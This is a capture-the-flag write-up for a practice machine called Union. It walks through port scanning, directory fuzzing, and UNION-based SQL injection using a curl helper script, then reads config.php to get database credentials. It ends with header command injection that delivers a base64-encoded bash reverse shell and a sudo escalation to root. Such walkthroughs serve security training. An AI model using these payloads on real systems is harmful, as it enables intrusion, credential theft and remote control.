Explore the fundamentals of cybersecurity in the Union Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.10.128 union.htb

Script to add hosts automatically#

ip="10.10.10.128"
domain="union.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV 10.10.11.128
Nmap scan report for 10.10.11.128
Host is up (0.049s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Exploration#

Access the target URL:

http://10.10.11.128/

Use ffuf to discover endpoints:

ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220

Found Endpoints:#

  • css: Status 301, Size 178
  • firewall.php: Status 200, Size 13
  • config.php: Status 200, Size 0
  • challenge.php: Status 200, Size 772

Union SQL Injection#

Union SQL Injection allows combining results from multiple SELECT statements. More information can be found here.

Testing Input#

Testing the player parameter with curl shows normal inputs don’t work, but UNION SQL injections targeting a single column do:

curl http://10.10.11.128/index.php -d "player=' union select database() -- -"

Response:

Sorry, november, you are not eligible due to already qualifying.

Extracting Data#

Use this simple script to perform sql querries:

#!/bin/bash
POST_URL="http://10.10.11.128/index.php"
POST_DATA="player=' union %s -- -"
PATTERN="Sorry, (.*) you are not eligible due to already qualifying."
function send_post {
    local sqli=$1
    response=$(curl -s -d "$(printf "$POST_DATA" "$sqli")" "$POST_URL")
    if [[ $response == Sorry* ]]; then
        if [[ $response =~ $PATTERN ]]; then
            echo "${match[1]}"
        else
            echo "No match found in response."
        fi
    else
        echo "ERROR"
    fi
}
while true; do
    echo -n "SQLi> "
    read sqli
    if [[ $sqli == "exit" ]]; then
        break
    elif [[ -z $sqli ]]; then
        continue
    fi
    send_post "$sqli"
done

SQL Queries:#

  • Get the database name:

    SELECT database();
    

    Output: november

  • List tables:

    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'november';
    

    Output: flag, players

  • List columns in flag table:

    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag';
    

    Output: one

  • Retrieve the flag:

    SELECT one FROM flag;
    

Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.

  • Load configuration file:
    SELECT LOAD_FILE('/var/www/html/config.php');
    

Contents of config.php:

$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";

SSH Access:

ssh uhc@10.10.11.128

Retrieve the user flag:

cat user.txt

On the SSH machine, inspect the firewall.php file:

cat /var/www/html/firewall.php  

The script uses sudo to execute a system command, indicating that the www-data user may have elevated permissions. The $ip variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For HTTP request header and appending a command using a semicolon (;) or a comment (#).

Set up a listener for incoming connections with:

nc -lvnp 9001
echo -en "PHPSESSID Coockie? "
read coockie
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl 10.10.11.128/firewall.php -H "X-Forwarded-For: ; echo $(echo -n 'bash  -i >& /dev/tcp/'$ip'/9001 0>&1' | base64 ) | base64 -d | bash ;" -H 'Cookie: PHPSESSID='$coockie'' 
sudo -l
sudo su
cat /root/root.txt